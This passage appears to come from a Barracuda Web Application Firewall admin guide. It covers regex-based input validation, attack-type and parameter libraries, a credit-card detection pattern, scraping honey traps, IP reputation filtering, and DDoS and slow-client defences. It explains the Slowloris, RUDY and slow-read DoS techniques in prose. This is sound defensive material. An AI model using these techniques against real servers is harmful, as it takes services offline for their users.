regex patterns to implement advanced data type enforcement on input parameters. For guidelines on how to write regular expressions, see Exten
ded Match Syntax Help. The pattern-match engine recognizes the lexical patterns in text and compares inputs to defined data type patterns. For
example, the following is the default regex pattern for a Visa credit card:
4[[:digit:]]{12}|4[[:digit:]]{15}
A pattern can also be associated with an algorithm, for example, an algorithm to validate a credit card number can be associated with a credit
card pattern. The algorithm runs on all strings matching the regular expression to decide whether they actually conform to this pattern.
Internal Patterns
The ADVANCED > View Internal Patterns page includes Identity Theft Patterns, Attack Types, Input Types, and Parameter Class. Each data
type exhibits a unique pattern. These patterns can be bound to a policy or to profiles of an web application to validate the incoming requests.
The patterns displayed by default under each pattern group cannot be modified. To create a modified pattern, use the Copy function to copy a
pattern, then modify it as required. The copied pattern group can be found on the ADVANCED > Libraries page under the corresponding group.
You can modify or delete patterns as required, and then apply them to a service security policy. For more information on how to copy a pattern
group, refer to Steps to Copy a Pattern Group.
The following provides a brief description about the internal patterns.
Identity Theft Patterns
Identity theft is the loss of personal data resulting in fraud. Disclosure of sensitive information such as credit card numbers, banking information,
passwords, or usernames in service communication might enable identity theft. The Barracuda Web Application Firewall prevents unauthorized
exposure of at risk data.
The Identity Theft container includes Credit Cards, Social Security Numbers, and Directory Indexing data types. In addition, customized identity
theft patterns can be created and used. For more information, see Enabling Data Theft Protection.
Attack Types
An attack is a technique used to exploit vulnerabilities in web applications. Attacks can insert or modify code in requests. If a request contains an
attack pattern, it is dropped. The attack data type container includes patterns for identifying Cross-site Scripting, Remote-file Inclusion, SQL
Injection, Directory Traversal, and OS Command Injection attacks. In addition customized attack data types can be created and used.
Input Types
Input data types are used to validate the HTTP request parameters. Inputs come from web forms, applications and Services, custom client
applications, or file based records. This validation ensures that the data conforms to the correct syntax, is within length boundaries, and contains
only permitted characters or numbers. Requests failing validation are assumed intrusions and are blocked. Input types are defined using reg-ex
patterns. Default Input Types including credit cards, numeric, hex-number, alpha, alphanumeric, string, name, and date are provided. In addition,
customized Input Types can be defined and used.
Parameter Class
Parameter class defines acceptable values for parameters. Parameter classes are bound to Parameter Profiles using WEBSITES > Web Site
Profiles > Parameter Profiles and specify validation criteria for parameters in a request. In addition to the internal parameter classes,
customized parameter classes can be created and used.
Steps to Copy a Pattern Group
Do the following to copy a pattern group:
1. From the ADVANCED > View Internal Patterns page identify the group you want to copy.
2. Click Copy next to that group. The Copy window appears.
3. In the New Group field, specify a new name for the group and click Paste.
4. Navigate to the ADVANCED > Libraries page. The new pattern group appears under the group to which it belongs.
5. Click Edit Pattern to edit a particular pattern.
6. Click Delete to delete a particular pattern.
Creating and Using Custom Attack Types
The ADVANCED > Libraries > Attack Types section allows creation of custom attack data types which, when detected in a request, identify the

request as an attack. One or more patterns which define the format of the attack type can be added to each group.
Creating a Custom Attack Type Pattern
1. Go to the ADVANCED > Libraries > Attack Types section.

2. Enter a name in the New Group text box and click Add. The new attack type group created appears in the Attack Types section.
3. Click Add Pattern next to that group. The Attack Types window appears. Specify values for the following fields:
a. Pattern Name - Enter a name for the pattern.
b. Status - Set to On if you wish to use this pattern for pattern matching in the responses.
c. Pattern Regex - Define the regular expression of the pattern or click the Edit icon to select and insert the pattern.
d. Pattern Algorithm - Select the algorithm to be associated with the pattern from the list.
e. Case Sensitive - Select Yes if you wish the pattern defined to be treated as case sensitive.
f. Pattern Description - Optional. Enter a description for the defined pattern. Example, Visa credit card pattern would indicate the
pattern matches a visa credit card.
4. Click Add.
Using a Custom Attack Type
The added attack type pattern becomes available under Custom Blocked Attack Types on the following pages and sections:
ADVANCED > Libraries > Custom Parameter Class

WEBSITES > Web Site Profiles > URL Profiles
SECURITY POLICIES > URL Protection
SECURITY POLICIES > Parameter Protection
The Custom Blocked Attack Types are enabled by default under the ADVANCED > Libraries > Custom Parameter Class section and the WE
BSITES > Web Site Profiles > URL Profiles section. Whereas in the SECURITY POLICIES > URL Protection and SECURITY POLICIES >
Parameter Protection pages you have to manually select the custom attack types.
Creating and Using Custom Input Types
The Barracuda Web Application Firewall includes a collection of predefined and custom input data types, which can be used to validate HTTP
Request parameters. Input data types are used to validate that request parameters conform to expected formats. Most attacks can be prevented
by properly validating input parameter values against expected input data types. Input Type validation enforces the expected formats rather than
trying to identify malicious values. Requests failing validation are identified as intrusions and blocked. Default Input Types including
alpha-numeric strings, credit card, date and positive-long-integer are provided. Custom Input Data Types can also be added.
The ADVANCED > Libraries > Input Types section allows you to create customized input data types. One or more patterns which define the
format of the input type can be added to each group.
Creating a Custom Input Type Pattern
1. Go to the ADVANCED > Libraries > Input Types section.

2. Enter a name in the New Group text box and click Add. The new input type group created appears in the Input Types section.
3. Click Add Pattern next to that group. The Input Types window appears. Specify values for the fields and click Add to save the pattern.
Using a Custom Input Type
Perform the following steps to use a custom input data type:
1. Go to the ADVANCED > Libraries > Custom Parameter Class section.

2. Click Add Custom Parameter Class. The Add Custom Parameter Class window appears.
3. In the Name text box, enter a name for the custom parameter class.
4. Select CUSTOM from the Input Type Validation drop-down list.
5. Select the custom input type you created from the Custom Input Type Validation drop-down list.
6. In the Denied Metacharacters text box, enter the metacharacters or click the Edit icon to select and apply the metacharacters to be
denied in this parameter value.
7. Select the required check box(es) of Blocked Attack Types and Custom Blocked Attack Types and click Add.
8. Bind this custom parameter class to a parameter profile.
Creating and Using Custom Parameter Class
The ADVANCED > Libraries > Custom Parameter Class section allows creation of custom parameter classes which enforce expected input
formats and block attack formats for request parameters. One or more patterns which define the format of the data type can be added to each
group. Bind the custom parameter class to a parameter profile by adding a new parameter profile or editing an existing parameter profile using W
EBSITES > Web Site Profiles.
Creating a Custom Parameter Class
1. Go to the ADVANCED > Libraries > Custom Parameter Class section.

2.

2. Click Add Custom Parameter Class. The Add Custom Parameter Class window appears. Specify values for the following fields:
a. Name - Enter a name for the custom parameter class.
b. Input Type Validation - Select the expected type of value for the configured parameter on the WEBSITES > Web Site Profiles.
Most of the attacks could be prevented by properly validating input parameter values against the expected input. Input Type
validation enforces the expected value type as opposed to looking for malicious values. Values of configured parameters are
validated against the specified Input Type and requests with failed validations are detected as intrusions and blocked.
c. Custom Input Type Validation - Select the expected custom input data type for the configured parameter.
d. Denied Metacharacters - Enter the metacharacters to be denied in the parameter value, or click the Edit icon to select and
apply the metacharacters.
e. Blocked Attack Types - Select the check box(es) to detect malicious patterns in the configured parameter. An intrusion is
detected when the value of the configured parameter matches one of the specified Attack Types and the request is blocked.
f. Custom Blocked Attack Types - Select the custom attack type check box(es) to be used to detect the intrusions.
3. Click Add to add the above configuration.
Using a Custom Parameter Class
Perform the following steps to use a custom parameter class:
1. Go to the WEBSITES > Web Site Profiles page

2. In the Service section, click the Web Site drop-down list and select the Service for which you wish to add the parameter profile.
3. In the URL Profiles section, select the check box next to the URL profile to which you want to add the Parameter profile.
4. In the Parameter Profiles section, click Add Param. The Create Parameter Profile window appears.
5. In the Parameter Profile Name text box, specify a name for the parameter profile. Ensure the Status is set to On.
6. Select CUSTOM from the Parameter Class drop-down list.
7. Select the custom parameter class you created from the Custom Parameter Class drop-down list and click Add.
8. Now, the parameter profile is used to validate the requests coming for the Service you selected depending on the Mode you configured
in the URL profile. For more information on URL and Parameter Profiles. See Configuring Website Profiles.
Creating and Using Custom Response Page
The ADVANCED > Libraries > Response Pages section allows creation of customized HTML response pages for HTTP requests that violate
security policies on the Barracuda Web Application Firewall. Either Edit an existing default response page or use Add Response Page to add
customized response pages that can be shared among multiple Services.
Creating a Custom Response Page
1. Go to the ADVANCED > Libraries > Response Page section.

2. Click Add Response Page. The Add Response Page window appears. Specify values for the following fields:
a. Response Page Name - Enter a name for the response page.
b. Status Code- Enter the HTTP status for the response page. Examples:
i. 403 Forbidden
ii. 405 Method Not Allowed
iii. 406 Not Acceptable
c. Headers- Enter the response headers for the response page. Examples:
i. Allow - What request methods (GET, POST, etc.) does the server support?
ii. Content-type - Content type of the resource (such as text/html).
iii. Connection - Options that are specified for a particular connection and must not be communicated by proxies over
further connections.
iv. Location - Where should client go to get document?
v. Refresh - How soon should browser ask for an updated page (in seconds)?
d. Body- Enter the response body for the response page. The following macros are supported:
i. %action-id - This will be replaced by the attack ID of the violation which resulted in the response page to be displayed.
ii. %host - This will be replaced by the host header which sent the request.
iii. %s - This will be replaced by the URL of the request which caused the violation.
iv. %client-ip - This will be replaced by the Client IP of the request which caused the violation.
v. %attack-time - This will be replaced by the time at which the violation occurred.
vi. %attack-name - This will be replaced by the attack name of the violation which resulted in the response page to be
displayed.
3. Click Add to add the new custom page.
Example of a custom response: The request from %client-ip at %attack-time for the URL %s cannot be served due to attack %action-id on the
host %host.
An image can also be embedded in the response page. Here are the steps to do so:
1. Convert the image to base64 using openssl or any other utility. Example: openssl base64 -in barracuda.jpg -out
barracuda-jpg.b64
2. Embed the base64 encoded image into html with the "img" tag. Example: <html><img src="data:image/jpeg;base64,[BASE64

2.
ENCODED IMAGE] alt="Test"/></html>
Using a Custom Response Page
The added response page is listed under the following pages and sections:
SECURITY POLICIES > Global ACLs > Existing Global ACLs

SECURITY POLICIES > Action Policy > Action Policy
WEBSITES > Allow/Deny > URL : Allow/Deny Rules
Perform the following steps to use a custom response page:
Steps to Use a Custom Response Page in the URL : Allow/Deny Rules
1. Go to the WEBSITES > Allow/Deny > URL : Allow/Deny Rules section.

2. Click Add next to the Service for which you want to configure the response page. The Create ACL window appears.
3. In the URL ACL Name text box, enter a name for the URL ACL.
4. Select Response Page from the Deny Response drop-down list.
5. Select the response page you created from the Response Page drop-down list.
6. If required change values of other parameter(s) and click Add.
Steps to Use a Custom Response Page in the Action Policy
1. Go to the SECURITY POLICIES > Action Policy > Action Policy section.
2. Click Edit next to the action policy for which you want to add the response page. The Edit Attack Action window appears.
3. Select the response page you created from the Response Page drop-down list, and click Save.
Steps to Use a Custom Response Page in the Existing Global ACLs
1. Go to the SECURITY POLICIES > Global ACLs > Existing Global ACLs section.
2. Click Edit next to the URL ACL for which you want to add the response page. The Edit Global ACL window appears.
3. Select the response page you created from the Response Page drop-down list, and click Save.

Regular Expression Notation

The Barracuda Web Application Firewall employs a regular expression (regex) engine to evaluate regular expressions (as defined in POSIX
1003.2) used as values in various parameters. Regular expressions allow you to specify complex relationships. The following table describes
syntax rules that apply when creating a regular expression for a parameter value.
Regular expressions use raw bytes/characters for everything except for NUL(0x00 that gets escaped to %00) and LF(0x0a that gets
escaped to %0a).
Value Meaning
x Match the character x.
. Match any character (byte) except newline.
[xyz] Match the pattern (character class) among x, y, or z. Matching is

case dependent.
[abj-oZ] Match the pattern (character class with a range) among a, b, any
letter from j through o, or Z. Matching is case dependent.
[Â-Z] Match anything except the pattern (negated character class), that is,
any character but those in the class, which in this case is any
character except an uppercase letter.
[Â-Z\n] Match anything except the pattern (negated character class), which
in this case is any character except an uppercase letter or a newline.
r+ Match zero or more of r, where r is any regular expression.
r? Match zero or one of r (that is, an optional r), where r is any regular
expression.
r{2,5} Match two to five of r.
r{2,} Match two or more of r.
r{4} Match exactly 4 of r.
"[xyz]\"foo" Match the literal string: [xyz]"foo
\X If X is an a, b, f, n, r, t, or v, then match the ANSI-C interpretation of

\x applies. Otherwise, it is a literal X (used to escape operators such
as an asterisk [*]).
\0 Match a NULL character (ASCII code 0).
\123 Match the character with octal value 123.
\x2a Match the character with hexadecimal value 2a.
(r) Match the r. Parentheses are used to override precedence;

expressions in parentheses are evaluated first.
rs Match the regular expression r followed by the regular expression s.

This type of pattern is called concatenation.
r|s Match either an r or an s. This type of pattern is called alternation.
r/s Match an r if it is followed by an s. The text matched by s is included

when determining whether this rule is the "longest match," but it is
then returned to the input before the action is executed, so the action
only sees the text matched by r. This type of pattern is called trailing
context.
^r Match an r at the beginning of a line (that is, when starting to scan or

immediately after a newline has been scanned).
Note: The circumflex (^) character means beginning of the input
string when it appear at the beginning of a pattern. If it appears
elsewhere, it is treated as a character.

r$ Match an r at the end of a line (that is, just before a newline). This is
equivalent to r/\n.
Note: The dollar sign ($) character means end of the input string
when it appear at the end of a pattern. If it appears elsewhere, it is
treated as a character.
The following are special characters (that is, have special meaning as described in the above table) and must be escaped by prefixing a
back-slash (\) in order to be recognized as the character itself:
. [ ] ( ) ^ $ / * + ? { } \ |
The following characters must be escaped or quoted during header rule configuration for proper rule matching:
White spaces[' ', '\t', '\n'], the brackets '[' '(' and ')' ']] and ';'
Precede each character with the "\" character to escape it, or quote the entire string.
The regular expressions listed in Regular Expression Values table are grouped according to precedence, from highest precedence at the top to
lowest at the bottom. For example, the following two expressions are identical because the asterisk (*) operator has higher precedence than
concatenation, and concatenation has higher precedence than alternation (|):
foo|bar*
(foo)|(ba(r*))
This pattern matches either the string "foo" or the string "ba" followed by zero or more "r" strings.
Inside a character class, all regular expression operators lose their special meaning except escape (\) and the character class operators dash (-),
right bracket (]), and circumflex (^) at the beginning of the class.
Valid character class expressions are the following:
[:alnum:] [:alpha:] [:blank:]
[:cntrl:] [:digit:] [:graph:]
[:lower:] [:print:] [:punct:]
[:space:] [:upper:] [:xdigit:]
These expressions are equivalent to the corresponding standard C isXXX function. If used in case-insensitive mode, [:upper:] and [:lower:] are
equivalent to [:alpha:].
A rule can have at most one instance of the / or $ operators. The start condition (^) can only occur at the beginning of a pattern, none of these
operators can be grouped inside parentheses. A ^ character that does not occur at the beginning of a rule or a $ character that does not occur at
the end of a rule loses its special properties and is treated as a normal character.
If more than one match is found, the rule matching the most text is used. If two or more matches are of the same length, the first rule is chosen.
Usage Examples:
^r: Match the beginning of an input string only. For example, ^[a-z]+ matches foo but does not match 1foo because the latter does not
begin with an alphabetic character.
[â-z]: Negate character class. This form matches anything other than a lower case alphabetic character. For example, ^[â-z]
matches 1foo but does not match foo.
^ anywhere else: Literal character. For example, ^(^|[a-z]) matches foo and ^1foo but does not match 1foo.
Usage Examples: $
r$: Match the end of an input string only. For example, [a-z]+$ matches foo and 1foo but does not match foo1.
$ anywhere else: Literal character. For example, ([a-z]+|$) matches foo, 1foo, foo1, and foo$.
Usage Examples: Combinations
^r$: Match the pattern exactly. There can be no additional characters.

(r1|r2$): The dollar sign is treated as a literal character.
(^r1|r2): The circumflex is treated as a literal character.

How to Clear Locked Out Clients
The client IP address(es) are blocked when a request from the client matches any of the following policy settings:
Follow Up Action set to Block Client-IP for an attack on the SECURITY POLICIES > Action Policy page.
Enable Bruteforce Prevention set to Yes in the URL policy associated with the Service on the WEBSITES > Advanced Security page.
Session tracking Status set to On for a Service on the WEBSITES > Advanced Security page.
The administrator can unblock the locked client IP address(es) using Clear Locked Out Clients on the WEBSITES > Advanced Security page.
To unblock a client IP address
1. Go to the WEBSITES > Advanced Security page, Clear Locked Out Clients section.
2. In the Client IP Address field, specify the IP address of the client that you want to unblock.
3. Click Remove from the Lock Out List.
4. Click Clear All to clear all blocked client IP addresses.

How to Configure a Web Scraping Policy
Web scraping involves copying large amounts of data from a web site or application using automated tools, often for commercial advantages that
are to the detriment of the organization that owns the web application. Typically, the motivation of the attacker is to undercut competition, steal
leads, hijack marketing campaigns, and appropriate data via the web application. Examples include theft of intellectual property from digital
publishers, scraping products and pricing information from e-commerce sites, and stealing listings on real estate, auto dealers and travel sites.
There are a variety of automated tools, products and services available for web scraping that can extract data and, metadata from the web
applications as well as from web-based APIs. Advanced tools can even automatically navigate to pages behind forms by automatically filling
them.
Their navigation and extraction features makes scrapers very similar to search engines that also intend to index the whole site. Unlike search
engines that drive prospects to businesses, scrapers intend to take away business from the sites they are scraping. This makes it important for a
security solutions to be able to distinguish between genuine search engines and web scrapers, even when some scrapers fake their identity as
search engines.
To prevent your web applications from being scraped, configure the web scraping policy on the Barracuda Web Application Firewall.
In this article:
Configuring Web Scraping Policy

Whitelisted Bots
Honey Traps
Insert Hidden Links in Response
Insert Disallowed URLs in Robots.txt
Bot Detection
Insert JavaScript in Response
Insert Delay in Robots.txt
Steps to Enforce a Web Scraping Policy
Step 1 - Create a Bot Whitelist
Step 2 - Create a Web Scraping Policy
Step 3 - Associate the Web Scraping Policy with a Service
Configuring Web Scraping Policy

The web scraping policy provides the following settings:
Whitelisted Bots
Create a list of search engine bots that you want to allow access to your web application by providing the User Agent and Host value pair. For
example: User Agent: googlebot and Host: *.google.com.
When a client identifies itself as a search engine via the User Agent field, the system performs a reverse DNS lookup (rDNS) on the source IP
address, which yields the true domain associated with the IP address. If this domain does not match the Host value configured above, then the
client is classified as a fake bot and web scraping policies are applied on the request. If the configured Host value matches the rDNS domain
value, then the request is exempted from further web scraping validation.
Honey Traps
To trap the web scraping tools, configure the following:
Insert Hidden Links in Response
When enabled, the Barracuda Web Application Firewall embeds a hidden link in the response. The embedded link does not get displayed on the
browser, so a human browsing the web pages through a common browser should never see and click the hidden link. Hence, any request that
attempts to access the hidden link is identified as an automated bot or scraper.
Insert Disallowed URLs in Robots.txt
Typically, every website includes a “/robots.txt” file that provides access instructions such as the User-agents that are allowed to access the site,
and the web pages that are allowed/disallowed to be accessed by bots.
Example:
User-agent: *
Disallow: /researchtools/abc/
Here, User-agent : Asterisk (*) is a wildcard character and indicates that this website can be accessed by all bots, and Disallow :

/researchtools/abc/ indicates that the bots are not allowed to access the /researchtools/abc/ page on the website.
When Insert Disallowed URLs in Robots.txt is set to Yes, the Barracuda Web Application Firewall inserts an encrypted URL into the robots.txt
file under Disallow. Any bot that tries to access the encrypted URL is identified as a bad bot, and the corresponding action is taken as configured
on the SECURITY POLICIES > Action Policy page.
Bot Detection
To detect bad bots, configure the following:
Insert JavaScript in Response
When enabled, the Barracuda Web Application Firewall inserts a JavaScript in the response. If the request is from a client (web browser), the
JavaScript gets executed and returns with a value for the cookie. If the JavaScript fails to execute, then the client is marked as a bot after the
specified Failure Threshold value.
Insert Delay in Robots.txt
You can slow down the requests from a bot to a web application by setting the delay time (in seconds) between subsequent requests, so that
server resources are not consumed and are accessible for legitimate traffic.
When Insert Delay in Robots.txt is set to Yes, the Barracuda Web Application Firewall automatically inserts “crawl-delay” in the robots.txt file
with the specified Delay Time. All good bots should honor the delay time specified in the robots.txt file while accessing the web application. If not,
it is identified as a bad bot and the corresponding action is taken as configured on the SECURITY POLICIES > Action Policy page.
Steps to Enforce a Web Scraping Policy
To enforce a web scraping policy for a web application, perform the following steps:
1. Create a Bot Whitelist

2. Create a Web Scraping Policy
3. Associate the Web Scraping Policy with a Service
Step 1 - Create a Bot Whitelist
1. Go to the WEBSITES > Web Scraping page, and click Add Bot Whitelist in the Whitelisted Bots section.
2. In the Add Bot Whitelist page, specify values for the parameters (Parent Name, User Agent and Host).
3. Click Save.
Step 2 - Create a Web Scraping Policy
1. Go to the WEBSITES > Web Scraping page, and click Add Policy in the Web Scraping Policies section.
2. In the Add Web Scraping Policy page:
a. Specify values for the parameters under Honey Traps and Bot Detection.
b. Select the whitelisted bot created in Step 1 - Create a Bot Whitelist .
c. Click Save.
Step 3 - Associate the Web Scraping Policy with a Service
1. Go to the WEBSITES > Advanced Security page.

2. In the Advanced Security section:
a. Identify the service to which you want to associate the web scraping policy.
b.

b. Click Edit next to the URL policy associated with the service.
3. In the Edit URL Policy page:
b. Select the policy created in Step 2 - Create a Web Scraping Policy from the Web Scraping Policy list.
c. Specify values for other parameters as required and click Save.

Application DDoS Attack Protection
In this Section
Configuring IP Reputation Filter

Configuring DDoS Policy
Slow Client Attack Prevention
How To Configure Secure Browsing For An HTTPS Service

Configuring IP Reputation Filter
Overview
In order to prevent geographically distributed DoS attacks which span multiple sub networks, the Barracuda Web Application Firewall provides an
IP reputation based filter which can apply to an entire geographic region or collection of regions spanning multiple countries and/or continents.
This feature is available ONLY in Firmware Version 7.7 and above.
You can configure a Geo Pool with one or more geographic regions and allow or deny requests from it. IP addresses can be filtered based on the
following categories:
Geo Pool – The IP address is from an included geographic region.

Barracuda Reputation Blocklist – The IP addresses that are identified as potential originators of spam, malware and bots.
TOR Nodes – The IP addresses that are identified as TOR.
Anonymous Proxy – The IP address is from an anonymizer that hides the IP address of the requesting client.
Satellite Provider – The IP address is from a Satellite Internet Service Provider (ISP) so the IP address of the requesting client is
unknown.
Anonymous Proxy and Satellite Provider IP addresses are not specific to geographic regions. IP addresses are compared to the MaxMind
database to determine if the requester is a known anonymizer or ISP address.
Once an IP Reputation Pool is created, it can be associated with one or more Services using the IP Reputation Filter section.
Geographic Filtering
You can create an IP Reputation pool on the WEBSITES > IP Reputation page. Use the Add IP Reputation Pool section, or edit a Service in
the IP Reputation Filter section and select New IP Reputation Pool ... from the IP Reputation Pool list to create a new IP reputation pool.
Steps to Create a New IP Reputation Pool:
1. Enter a name for the new Geo Pool in New IP Reputation Pool Name.
The name can include alphanumeric characters, periods (.), hyphens (-) and underscores (_). Any other special characters
such as space, semicolon, asterisk, etc. are not allowed.
2. Select the geographic region(s) to include in your IP Reputation Filter using the Expand button. Expand lists smaller regions inside a
continent, and Collapse lists discrete continents. When you can discretely select the areas you desire, select one or more entities you
wish to geographically filter. Alternatively, you can use Select All or Deselect All.
3. Click Add to save the new IP Reputation pool. The created pool appears in the IP Reputation Pools list showing the configured
settings.
Use the IP Reputation Pools section to edit or delete an existing IP reputation pool.
To Edit: Select the Edit icon from the Options column next to the desired IP Reputation Pool.
To Delete: Select the Delete icon from the Options column next to the IP Reputation Pool you wish to remove.
Click Help on the relevant page for more information.
You must associate the newly created IP Reputation Pool to a Service to enable filtering for the selected geographic region. See Applying an IP
Reputation Filter to a Service.
Applying an IP Reputation Filter to a Service
To associate an IP reputation pool to a Service, perform the following steps:
1. Go to the WEBSITES > IP Reputation > IP Reputation Filter section.

2. Identify the Service to which you want to associate an IP reputation pool. Click Edit next to it. The Edit IP Reputation Filter window
appears.
3. In the IP Reputation Filter section:
a. Set Enable IP Reputation Filter to On to enable the filter for the service.
b. Set Enable Logging to Yes if you want to generate logs for the IP reputation rule. The generated logs are displayed on the ADV
ANCED > Network Firewall Logs page.
4. In the Geo IP Filter section, set the Action to Allow or Block:
a. Allow – Allows the traffic ONLY from the selected geographical regions, but blocks the traffic from other geographical regions.
b. Block – Blocks the traffic ONLY from the selected geographical regions, but allows the traffic from other geographical regions.
5. In the Block IP Categories section, select the IP categories that needs to be blocked for this Service. If set to Block, the requests from
the IP addresses of the selected category will be terminated and logged on the ADVANCED > Network Firewall Logs page (if Enable

5.
Logging is set to Yes). You can override any of these IP address(es) and allow by adding the IP address(es) in Allowed Networks und
er the Exception Networks section.
a. Barracuda Reputation Blocklist – Set to Block to block the IP addresses that have been identified as potential originators of
spam, malware and bots.
b. TOR Nodes – Set to Block to block the IP addresses that have been identified as TOR.
c. Anonymous Proxy – Set to Block to block the IP addresses that are used as anonymizers to hide the identity of client's IP
address.
d. Satellite Provider – Set to Block to block the IP addresses from the Satellite Internet Service Providers (ISPs) that provide
internet service.
6. In the Exception Networks section, enter the IP address(es) that needs to be considered an exception despite originating from the
geographical region specified in the IP Reputation pool, or from the Barracuda Blacklist.
7. Click Add. The configured IP Reputation Filter will now apply to all requests for the Service.
Click Help on the relevant page for more information.

Configuring DDoS Policy
The DDOS Policy allows administrators to validate incoming users by challenging them with CAPTCHAs (Completely Automated Public Turing
test to tell Computers and Humans Apart) to find out if a client is a regular browser, a BOT, or a crawler. Administrators can configure DDOS
Policy to issue CAPTCHAs to all clients who access a URL space, or to issue CAPTCHAs only to clients with suspicious profiles.
The DDOS policy provides a way to evaluate a client and determine if it is suspicious or not. When Evaluate Clients is set to On, the Barracuda
Web Application Firewall embeds JavaScript challenges in responses that are going out. The client is tagged as suspicious if more than a
configured number of requests do not come back with the JavaScript challenge answer, indicating the requests are coming from an automated
source such as a bot or a crawler which cannot execute JavaScripts.
The client tagged as suspicious is forced to answer a CAPTCHA challenge before accessing the URL space. Suspicious client IP addresses are
tracked and challenged with a CAPTCHA image for a period of time. The client is not allowed to access any further resource until the CAPTCHA
is answered. This thwarts reconnaissance efforts from suspicious clients.
Clients which answer the CAPTCHA can access the URL space. If a validated client remains idle for more than the configured Expiry Time seco
nds, it is challenged with CAPTCHA to access the resource again. This re-issuance of CAPTCHA after an Expiry Time ensures that a public IP
validated as a good client source once does not remain permanently in good standing, but is detected as a non-browser if it gets compromised.
To configure a DDoS policy, click Add next to the Service in the DDoS Policy section.
Configuration of DDoS Policy
The following settings allow the Barracuda Web Application Firewall to enforce DDoS policy for a Service:
Host Match
The host name, compared to the host in the request. This can be either a specific host match or a wildcard host match with a single “*“. For
example, *.example.com; any request matching this host is required to authenticate before accessing this page.
URL Match
The URL compared to the URL in the request. The URL should start with a "/" and can have at most one " * " anywhere in the URL. For example,
/netbanking.html; any request matching this URL is required to authenticate before accessing this page. A value of “/*” means that the access
control rule (ACL) applies for all URLs in that domain.
Extended Match
Define an expression that consists of a combination of HTTP headers and/or query string parameters. This expression is compared to special
attributes in the HTTP headers or query string parameters in the requests.
Extended Match Sequence
This number indicates the order in which the extended match rule must be evaluated in the requests.
Evaluate Clients
When set to On the Barracuda Web Application Firewall inserts JavaScript in the responses that are sent to the client. Note that the JavaScript
mechanism will work only if at least one URL accessed within the specified URL Match space is an HTML file. If the URL space does not result in
at least one request for an HTML URI, the Barracuda Web Application Firewall continues to add to the failed count and eventually issues
CAPTCHA instances to all client IP addresses. In other words, the response to at least one request within the URL space should have a content
type of text/html for the mechanism to work effectively and encourage clients to use regular web browsers.
Enforce CAPTCHA
Select the enforce CAPTCHA option.
Do Not Enforce – Clients are allowed to pass through with the usual security validation.
Suspicious Clients Only – CAPTCHA is enforced for clients that exhibit suspicious behavior.
All Clients – CAPTCHA is enforced for all clients accessing this Service.
Number of CAPTCHA Attempts
The number of attempts a client can make before failing to solve the CAPTCHA.
Unanswered CAPTCHA Limit Per IP
This limits the number of CAPTCHA instances that can be issued to a given client IP address, preventing an attacker from executing a DoS
attack on the service by rendering CAPTCHA images without submitting the CAPTCHA response.

Expiry Time
The number of seconds a client IP can be idle before being challenged for CAPTCHA again.
Steps to Configure DDoS Policy for a Service
1. Go to the WEBSITES > DDoS Prevention > DDoS Policy section.

2. Identify the Service to which you want to enable DDoS policy.
3. Click Add next to that Service. The Add DDoS Policy window appears.
4. Specify values for the given parameters and click Save.
For more information, click the Help icon on the web interface.

Slow Client Attack Prevention
The Slow Client Attack Prevention feature is available ONLY in Firmware Versions 7.7 and above.
Overview
In a slow client attack, an attacker deliberately sends multiple partial HTTP requests to the server to carry out an HTTP DoS attack on the server.
The client attempts to slow the request or response so much that it holds connections and memory resources open on the server for a long time,
but without triggering session time-outs. Common ways to carry out this attack include:
Slow HTTP Headers Vulnerability (Slowloris) – As described in Slowloris HTTP DoS (http://ha.ckers.org/slowloris/), using this
technique the client never completes sending the headers. It sends headers one-by-one at regular intervals to keep sockets from closing
and the web servers thereby tied up. In particular, threading servers tend to be vulnerable when they try to limit the amount of allowed
threading. Slowloris must wait for all of the sockets to become available before successfully consuming them, so for high traffic websites,
it may take awhile for the site to free up its sockets.
Slow HTTP POST Vulnerability (R-U-Dead-Yet or RUDY) – Using this technique, the client attempts to DoS the server using long form
field submissions. The client sends all of the HTTP headers, one of which is a legitimate Content-Length header with a large value. The
client then iteratively injects data into the form's post field at a very slow rate, so the web application keeps waiting for the full data to
arrive. Once multiple threads are tied up by waiting, the server eventually runs out of resources and gets DoS'ed. More technical details
about layer-7 DDoS attacks can be found in the OWASP lecture: OWASP-Universal-HTTP-DoS (http://www.hybridsec.com/papers/OWA
SP-Universal-HTTP-DoS.ppt).
Slow Read DoS Attack – Using this attack technique, the client request completes fully. When the server responds, the client advertises
very small windows for accepting response data. For a large response (a file download, for example) the client's slow reception rate ties
up server resources for a long time. Multiple requests of this type can eventually take the server down.
These requests are layer 7 DoS attacks. They are typically legitimate from a protocol compliance point of view and are therefore not detected by
network layer DDoS devices, by IPS/IDS, or even by your ISP. Clients can DoS the server stealthily and slowly, without consuming any significant
bandwidth on the network, so they remain otherwise undetected.
The WEBSITES > DDoS Prevention page allows you to configure slow client attack prevention for HTTP and HTTPS Services.
How does Slow Client Attack Prevention Work?
The following settings allow the identification of prevention of a slow client request or response attack:
Data Transfer Rate
The minimum data transfer rate the Barracuda Web Application Firewall expects for requests from the client and responses to the client. Data
transfer rates slower than this are considered slow.
Max Request Timeout
The maximum time allowed to receive a request from a client. If a request does not complete in this time, the connection is terminated, FIN is
sent to the client, and further requests are blocked.
Max Response Timeout
The maximum time allowed to send a response to the client. If the response transfer is not complete in this time, the connection is terminated, Fin
is sent to the client, and further responses to the client are not sent.
Incremental Request Timeout
This value specifies the initial timeout window a client has in which to complete a request. The system then progressively shrinks the window
using an adaptive algorithm. If the client repeatedly fails to complete a request in the shrinking window, the request timeout window converges to
zero and the connection is dropped. If the client begins to send data at a healthy rate, the window is progressively expanded.
This adaptive algorithm ensures that temporary network delays do not affect genuine clients, but persistent slow clients are detected and denied.
Incremental Response Timeout
This value specifies the initial timeout window a client has in which to receive a response. The system then progressively shrinks the window
using an adaptive algorithm. If the client repeatedly fails to receive the response in the shrinking window, the response timeout window converges
to zero and the connection is dropped. If the client begins to receive data at a healthy rate, the window is progressively expanded.
This adaptive algorithm ensures that temporary network delays do not affect genuine clients, but persistent slow clients are detected and denied.
Exception Clients
The IP addresses that should be exempted from slow client attack prevention. Specify a single IP address or range of IP addresses, or a

combination of both using a comma delimiter with no spaces.
Steps to Configure Slow Client Attack Prevention
To view or edit Slow Client Attack Prevention for a Service, perform the following steps:
1. From the WEBSITES > DDoS Prevention > Slow Client Attack Prevention section Edit the Service requiring the protection.
2. In the Edit Slow Client Attack Prevention page, you can view or edit the configured values.
3. Click Save after modifying values. For more information, click Help on the web interface.

How To Configure Secure Browsing For An HTTPS Service
In this article :
Overview
Components of Secure Browsing
Armored Browser
Credential Server
Session Validator
Credential Manager
How Secure Browsing Works
Configuring Secure Browsing
Adding a Credential Server
Adding a Secure Browsing Policy
